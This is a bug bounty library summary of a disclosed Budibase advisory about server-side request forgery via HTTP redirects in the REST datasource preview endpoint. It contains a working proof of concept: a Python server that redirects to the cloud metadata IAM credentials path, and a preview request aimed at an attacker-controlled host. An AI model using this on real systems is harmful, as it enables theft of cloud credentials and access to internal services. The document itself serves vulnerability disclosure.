# Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration

Budibase REST datasource followed HTTP redirects without re-checking the IP blacklist, letting an authenticated Builder reach cloud metadata and internal services.

- Payout: Research
- Severity: high
- Program: Budibase
- Found by: sajdakabir, zerotrail-ai
- Disclosed: 2026-05-15
- CVE: CVE-2026-45715
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fgqv-jh4g-pvg2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fgqv-jh4g-pvg2
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:access-control vuln:ssrf

**Target:** REST datasource integration query preview endpoint
**Root cause:** The `_req()` method validates the original URL against the IP blacklist but calls `fetch(url, input)` without `redirect: "manual"`, so undici follows 301/302/307 redirects to internal targets without re-validation.
**Steps:**
1. Run an attacker HTTP server returning `302` with `Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/`.
2. As a Builder, create a REST datasource pointing at the attacker server.
3. Send `POST /api/queries/preview` with `fields.path` set to `http://<attacker-ip>:8080/` and a Builder session cookie plus `x-budibase-app-id`.
4. Blacklist check passes on the public attacker IP; undici follows the 302 to the internal target and returns the response body in `rows`.
**How found:** Noticed the same SSRF class was already fixed in automation steps via `fetchWithBlacklist()` (commits 6cfa3bcca3, e7d47625be) and checked whether the REST integration used the safe wrapper; it did not, and its `fetch` call lacked `redirect: "manual"`.
**Exploitation:** Authenticated Builder creates a REST datasource to an attacker-controlled public host that 302-redirects to 169.254.169.254 or internal services (CouchDB :4005, Redis :6379, MinIO :4004); the preview endpoint returns the fetched internal response, yielding IAM credentials or internal data.
**Escalation:** Redirect target can point at cloud metadata for IAM/service-account token theft, or at internal databases and object stores for further access.
**Insight:** When a codebase has a hardened fetch wrapper, grep for every other raw `fetch`/HTTP client call site — sibling integrations often miss the same control, and redirect-following is the classic gap.

## Proof of concept (copied exactly from the original report)

**Redirect server pointing to cloud metadata**

```
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()
```

**Query preview request to attacker redirect URL**

```
POST /api/queries/preview HTTP/1.1
Host: <budibase-instance>
Content-Type: application/json
Cookie: <builder-session>
x-budibase-app-id: <app-id>

{
  "datasourceId": "<rest-datasource-id>",
  "queryVerb": "read",
  "fields": {
    "path": "http://<attacker-ip>:8080/",
    "queryString": "",
    "headers": {},
    "bodyType": "none",
    "requestBody": ""
  },
  "parameters": [],
  "transformer": "return data",
  "name": "ssrf-test",
  "schema": {}
}
```

